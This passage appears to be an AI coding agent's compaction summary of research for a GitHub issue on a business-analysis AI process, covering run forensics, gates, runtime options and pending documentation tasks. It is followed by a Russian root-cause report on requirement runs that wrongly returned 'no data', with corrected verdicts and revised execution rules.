Skill (1:N) \u2192 Operation (1:N). An operation produces exactly one result class.\\n   - One gate entity has three executors: G-self, G-mach, G-human.\\n   - Taxonomies:\\n     - Product levels: Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function, with 42 MANGO capabilities mapped to 42 IT/telecom counterparts.\\n     - Processes: 33 skill-subprocesses. Operations: 31 atomic operations.\\n     - L0/L1 are inherited from BABOK v3.\\n   - Measured legacy facts:\\n     - Run modes (stepwise/oneshot/legacy) deprecated by ADR-013: 24 prompts cover 13 capabilities, and the mean Jaccard similarity of mode-variant skeletons is 0.077.\\n     - 10 of 12 normative constructs of the meta-model are absent from all 24 active prompts (ADR-014: legacy is evidence, not baseline).\\n     - 50 of 67 runs reference no prompt; 66 of 67 `process` values are outside the vocabulary.\\n     - M-1 baseline is 0.0 (17 documents, 17 different skeletons; 3 completed runs, 3 skeletons).\\n   - Metrics M-1 through M-5:\\n     - M-1: structural reproducibility.\\n     - M-2: G-mach reject share.\\n     - M-3: human edits after G-mach.\\n     - M-4: trace completeness, must be 100%.\\n     - M-5: empty slots with a declared reason.\\n   - MVP vertical slice: BCREQ for `contact-center`, processes P-01 elicitation-processing, P-02 clarification-management (branch) and P-03 bcreq-formation. It uses 7 compiled SKILL.md files plus 3 in the P-02 branch, 2 golden cases, and 10 tasks.\\n   - The BCREQ mermaid flow runs C-IN (fail-closed) \u2192 transcript normalization \u2192 context extraction \u2192 ambiguity detection \u2192 questions to the customer \u2192 A-CORE (machine-readable contract) \u2192 problem statement \u2192 value hypothesis \u2192 decomposition \u2192 assembly \u2192 G-self, G-mach (C-OUT, schema, Golden Set), G-human (source links, GT-5) \u2192 A-BCREQ + A-TRACE.\\n   - Projections: V-BIZ, V-APPROVE, V-DEV, V-CONTRACT. The contract reading phrases functional requirements as \\\"provide the CAPABILITY\\\" and checks completeness against what/who/where/when.\\n\\n   **Forensics (`docs/analysis/2026-09-23-requirements-run-forensics.md`, accepted)**\\n   - Covers all 67 runs RUN-0001\u2026RUN-0067 of mango_ba_prompts at commit 8cbf82a.\\n   - Evidence: 17 full dialogs in the repo, 27 via external exports, 23 without dialog.\\n   - Four independent failure classes: grounding, scope, state, classification. Prompt-only fixes do not close them; the fix needs an executable contract plus three gates (deterministic, semantic, human).\\n   - Defect IDs with examples:\\n     - EVID-01: RUN-0026 claimed a docs check while `extract_page_success=[0,0,0]`.\\n     - EVID-02: RUN-0024 had three footnotes that did not contain the attributed facts.\\n     - REL-01: BCREQ-1104 pulled in irrelevant facts.\\n     - SCOPE-01: in RUN-0063, 5 of 6 FRs described existing behavior (as-is), and RUN-0067 removed them.\\n     - SCOPE-02: invented scope.\\n     - FR-01/02/03, UC-01.\\n     - NFR-01: RUN-0015 invented targets (5 min, 100 ms, 2 s, 24/7), all rejected by the human.\\n     - NFR-02, STATE-01/02, FORMAT-01, TMF-01.\\n   - Positive cases:\\n     - RUN-0055: 40 of 50 product claims confirmed, 10 corrected.\\n     - RUN-0059: fail-closed, no invented endpoints.\\n     - RUN-0060: 101 requirements received reproducible source anchors.\\n     - RUN-0063\u21920067: reduced to 2 FRs, 14 ACs and 9 questions.\\n   - Standards referenced: ISO/IEC/IEEE 29148:2018, IREB CPRE glossary.\\n\\n   **Golden forms (`docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md`)**\\n   - One 7-section BCREQ form works for API, the personal account (\u041b\u041a) and the contact center, composed from 14 internal slots.\\n   - A failed run produced 27 pseudo-FRs.\\n   - The hypothesis \\\"just improve the prompt\\\" was refuted.\\n\\n   **Working \u2192 Release RFC (accepted, issue #609)**\\n   - One typed Working Document is the only baseline.\\n   - Release Documents are deterministic projections, checked by G-release.\\n   - Every NFR must reference FRs; backward compatibility is decided early.\\n   - Alternative \\\"improve the template\\\" was refuted: defects occur before rendering.\\n\\n   **Architecture convergence (2026-09-24)**\\n   - Source is ready for changes.\\n   - Gates: G-mach checks structure, G-semantic checks meaning, G-human decides disputed choices and acceptance.\\n   - TM Forum IDs stay `unresolved` without a snapshot.\\n\\n   **Runtime options (`docs/analysis/2026-09-29-ba-ai-process-runtime-options.md`, hypotheses \u0413-26\u2026\u0413-54)**\\n   - Main gap: the \\\"orchestrator\\\" role has no executor. In GigaCode CLI the BA types every transition; in Cline the model reads the rules.\\n   - Probe findings:\\n     - P10: \\\"lorem ipsum\\\" accepted as the output of nodes n1\u2013n3, because the gate checks the package, not the step output.\\n     - \u0413-30: `deterministic_share` equals 1.0 regardless of step quality.\\n     - P11: 17 YAML predicates are not read; branches are duplicated in Python for 8 nodes.\\n     - P12: one typo blocks the task.\\n   - \u0413-35: the append-only journal with a digest chain works and should be kept.\\n   - Recommendations:\\n     1. Runner as leader on the BA workstation.\\n     2. Server Environment 4: the same runner core as a FastAPI service with Postgres; Mango AI via an OpenAI-compatible API; approval endpoint; own finite-state machine for a 15-node graph; LangGraph (MIT) later.\\n   - n8n is acceptable only as an integration shell (V-7), not as the core (V-6); CVE-2026-21858 has CVSS 10.\\n   - Rejected: MCP/skill routing, Dify/Flowise, Temporal, Camunda.\\n   - Supporting practice: Anthropic's \\\"Building effective agents\\\" and 12-factor agents (\\\"own your control flow\\\").\\n   - Backlog items B-211\u2026B-218.\\n   - Environments: 1 GigaCode CLI (no Mango AI API), 2 Cline + Mango AI, 3 Qwen Chat (temporary), 4 server.\\n   - Refutation threshold: after 10 tasks, verified-contract steps below 95% (ADR-018 criterion).\\n\\n   **ADRs and other decisions**\\n   - ADR-017 (accepted 2026-09-22): Source \u2192 Distribution \u2192 Runtime \u2192 Feedback.\\n   - ADR-018: proposed GigaCode CLI execution boundary.\\n   - ADR-019: proposed Cline + Mango AI pilot; Environment 4 is a project runner outside the model tool loop.\\n   - ADR-020: proposed clean single-environment package.\\n   - RFC source-pilot-verification (#630): 20 friction points; paired real runs remain an open gate.\\n\\n   **Absolute URL patterns**\\n   - Hub, main branch: `https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/`\\n   - Branch-only files: `.../blob/issue-639-405767e7672e/`\\n   - mango_ba_prompts: `https://github.com/G-Ivan-A/mango_ba_prompts/...`; at commit 8cbf82a: `https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs`\\n\\n   **Background agents (still running)**\\n   - Agent 1 analyzes the clone at /tmp/mango_ba_prompts (583 commits): structure, exact run count, evolution timeline, metrics. It writes to /tmp/research-notes/mango_ba_prompts.md.\\n   - Agent 2 analyzes research/ba-requirements on main and on branch origin/issue-639-405767e7672e (already fetched). It writes to /tmp/research-notes/ba-requirements.md.\\n\\n4. **Errors and fixes:** no errors so far. Large outputs were handled by reading the persisted output files.\\n\\n5. **Problem solving:** the source research is largely complete. Documents are not written yet.\\n\\n6. **User messages:** the only user message was the issue-solver prompt: \\\"Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646 \u2026 Your prepared branch: issue-646-497e337ac092 \u2026 Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648 Proceed.\\\" There have been no other user messages or feedback.\\n\\n7. **Pending tasks:**\\n   - Wait for both agent results (read /tmp/research-notes/*.md).\\n   - Optionally skim `mango_ba_prompts` runs/README for evolution quotes.\\n   - Check the file-naming validator rules.\\n   - Write Doc 1 (slides) and Doc 2 (speaker script) in Russian, with 7+ slides (probably a title slide, 7 blocks, and an evidence/\\\"ask\\\" closing slide), absolute URLs, and an evidence map.\\n   - Update `projects/ba-ai-process/README.md` with links; consider CHANGELOG and artifact-map updates.\\n   - Remove `.gitkeep`.\\n   - Run the validators.\\n   - Commit and push.\\n   - Update the PR #648 title and body (reproduction and test sections are not applicable; list gaps, strategic risk, and backlog proposals).\\n   - Check CI and the latest comments.\\n   - Run `gh pr ready 648`.\\n\\n8. **Current work:** I was reading the project decision documents. The last command extracted the ADR-017/018/019/020, pilot-verification RFC and Cline-gap sections into a persisted file (/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bxach7km2.txt, decision sections at lines 69, 117, 163, 201, 241). I had just given the user a short status update: \\\"Still reading the meta-model sources (invariants, metrics, and the 67-run forensics). Both research agents are still running.\\\"\\n\\n9. **Next step:** once the agent notifications arrive, write the two presentation documents under `projects/ba-ai-process/`, then validate, commit, push, and update PR #648 as described in the pending tasks.\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. 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\u0411\u0417\\n\u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0448\u0430\u0433 \u2014 web-\u043f\u043e\u0438\u0441\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c\\n\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u043c\u0435\u043d\u0430\u043c \u0438 \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u0430\u043c Mango (`mango-office.ru`, `mango-office.ru/support`,\\n`wiki.mango-office.ru`). \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e \u043b\u0438\u0448\u044c \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432\u0438\u0434\u0430: \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b 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\u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u043b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0442\u0440\u0435\u0445 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u0432 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 capability. RUN-0065 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043f\u044f\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043b\u043e\u043d\u043e\u043a,\\n\u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0448\u043a\u0430\u043b\u0443 \u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0443 \u043f\u043e \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u043c \u0441\u043b\u043e\u0432\u0430\u043c \u0432\u043c\u0435\u0441\u0442\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u043b\u043d\u043e\u0439 \u0411\u0417.\\n\u041e\u0431\u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443: \u043e\u0434\u0438\u043d \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u043b \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u0431\u0435\u0437 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 web-\u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438,\\n\u0432\u0442\u043e\u0440\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b \u0432\u043e\u0441\u0435\u043c\u044c \u043a\u043e\u043b\u043e\u043d\u043e\u043a \u0438 \u0441\u0430\u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u0443\u0441\u044b. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u2014 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\u043f\u043e\u0438\u0441\u043a\u0430, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0432\u043e\u0434\u0430 \u0438 regression gate \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u0441 \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c.\\n\\n## \u0420\u0435\u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430\\n\\n\u0420\u0435\u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043f\u043e \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u0438\u043d\u0434\u0435\u043a\u0441\u0443 \u0411\u0417. \u041d\u0438\u0436\u0435 \u043d\u0435 \u00ab\u0442\u0440\u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u00bb, \u0430\\n\u0440\u0435\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u0431\u043e\u0438\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0438\u044f, \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c,\\n\u0437\u0430\u043f\u0438\u0441\u044c, \u043e\u043c\u043d\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438. \u041f\u043e\u043b\u043d\u044b\u0435 \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u044b\u0435\\n\u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0445 L0.\\n\\n| Run / \u043a\u043b\u0430\u0441\u0441 | \u041e\u0448\u0438\u0431\u043e\u0447\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 | \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 | \u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 |\\n| --- | --- | --- | --- |\\n| RUN-0062 / SIP Trunk | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0420\u043e\u0431\u043e\u0442\u0430\u0445 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: capability \u0412\u0410\u0422\u0421 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u0430\u043d\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e | [LK_manual_v-123, \u00a75, \u0441.520](../../kb/processed/mango-lk-manual/sections/320-sip-trunk.md) |\\n| RUN-0062 / \u0437\u0430\u043f\u0438\u0441\u044c \u0438 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043d\u0435 \u0442\u0440\u0435\u0445 SSOT | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e/\u0434\u0430 \u043f\u043e \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u043c \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c: \u0441\u0442\u0435\u0440\u0435\u043e, \u0437\u0430\u043f\u0438\u0441\u044c \u0412\u041a\u0421, FTP/SFTP \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b | [LK_manual_v-123, \u00a74.5.3.4, \u0441.209\u2013213](../../kb/processed/mango-lk-manual/sections/138-nastroyki.md) |\\n| RUN-0062 / \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: 2FA \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430, \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043e\u0445\u0432\u0430\u0442 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e | [LK_manual_v-123, \u00a74.6.3.5, \u0441.467\u2013470](../../kb/processed/mango-lk-manual/sections/291-bezopasnost-pro.md) |\\n| RUN-0062 / SLA \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0435\u0437 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0411\u0417\u2192web; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u043e \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u0443\u044e \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044e | [KB_index, \u00a7\u00ab\u0421\u043e\u0441\u0442\u0430\u0432 \u0411\u0417\u00bb, \u0441.n/a](../../kb/processed/README.md) |\\n| RUN-0065 / \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u044c \u043d\u043e\u043c\u0435\u0440\u043e\u0432 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0414\u0430: \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0440\u043e\u0442\u0430\u0446\u0438\u044f \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u0440\u0443\u0441\u0435\u043b\u0435\u0439 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u0440\u044f\u043c\u043e | [LK_manual_v-123, \u00a74.5.19, \u0441.414\u2013416](../../kb/processed/mango-lk-manual/sections/252-karusel-nomerov.md) |\\n| RUN-0065 / \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 | \u0414\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u043e \u043e\u0431\u0449\u0435\u0439 \u044d\u0432\u0440\u0438\u0441\u0442\u0438\u043a\u0435 | \u0414\u0430/\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u043f\u043e \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438: FTP, FTPS, SFTP \u0438 \u043c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b | [LK_manual_v-123, \u00a74.5.3.4, \u0441.209\u2013213](../../kb/processed/mango-lk-manual/sections/138-nastroyki.md) |\\n| RUN-0065 / API/TLS | \u041e\u0431\u0449\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u00abAPI \u0412\u0410\u0422\u0421\u00bb | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e: API-\u043a\u043e\u043d\u043d\u0435\u043a\u0442\u043e\u0440 \u0438 TLS 1.2 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2014 \u043d\u0435\u0442 | [API_VPBX_v2, \u00a71.2, \u0441.7](../../kb/processed/vpbx-api/sections/04-trebovaniya-sovmestimosti-i-spisok-podde.md) |\\n| RUN-0065 / \u0410\u0432\u0438\u0442\u043e \u0420\u0430\u0431\u043e\u0442\u0430 | \u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445 | \u0414\u0430 \u0434\u043b\u044f \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043a\u0430\u043d\u0430\u043b\u0430 | [LK_manual_v-123, \u00a74.5.11.2.2, \u0441.339\u2013345](../../kb/processed/mango-lk-manual/sections/210-avito-rabota.md) |\\n| RUN-0065 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 SLA/\u0435\u043c\u043a\u043e\u0441\u0442\u044c | \u00ab\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\u00bb \u043a\u0430\u043a \u0444\u0438\u043d\u0430\u043b | \u041d\u0435\u0442: \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0438/\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043e\u043c \u0438\u043b\u0438 \u0438\u0441\u043f\u044b\u0442\u0430\u043d\u0438\u0435\u043c; \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0435 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 | [KB_index, \u00a7\u00ab\u0421\u043e\u0441\u0442\u0430\u0432 \u0411\u0417\u00bb, \u0441.n/a](../../kb/processed/README.md) |\\n\\n## \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n\\n1. \u041f\u043e\u0438\u0441\u043a \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0438\u043d\u0434\u0435\u043a\u0441\u0430, \u0437\u0430\u0442\u0435\u043c \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\\n   \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b; \u0441\u043f\u0438\u0441\u043e\u043a \u00ab\u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439\u00bb \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f SSOT boundary.\\n2. \u0421\u043e\u0441\u0442\u0430\u0432\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u044e\u0442\u0441\u044f: `\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e` \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0443\u044e\\n   \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c, \u0430 \u043d\u0435 \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c.\\n3. \u0421\u0441\u044b\u043b\u043a\u0438 \u0432\u0435\u0434\u0443\u0442 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 `[\u0444\u0430\u0439\u043b, \u00a7, \u0441.]`.\\n4. \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u0440\u0438\u0442\u0438\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0440\u0430\u043d\u0438\u0446\u044b capability, \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u043d\u044b\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438,\\n   \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0431\u043b\u043e\u043a-\u0444\u0430\u043a\u0442\u043e\u0440\u044b; \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d.\\n5. \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0448\u0438\u0440\u0438\u043d\u0443, \u0448\u043a\u0430\u043b\u0443, \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438. \u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u0435 \u043e\u0431\u0435\u0438\u0445 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u044b\u043c.\\n\\n\u0414\u043e\u043c `docs/report/` \u0432\u044b\u0431\u0440\u0430\u043d \u043f\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: \u044d\u0442\u043e \u0435\u0434\u0438\u043d\u044b\u0439\\n\u043c\u0435\u0436\u043f\u0440\u043e\u0433\u043e\u043d\u043d\u044b\u0439 RCA, \u0430 \u043d\u0435 output \u043e\u0434\u043d\u043e\u0433\u043e run; \u0441\u0430\u043c\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 RUN-0062 \u0438 RUN-0065.\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-08-31\\ntemperature: 0.1\\n---\\n\\n# \u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043e\u0448\u0438\u0431\u043e\u043a \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n## \u041c\u0435\u0442\u043e\u0434 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 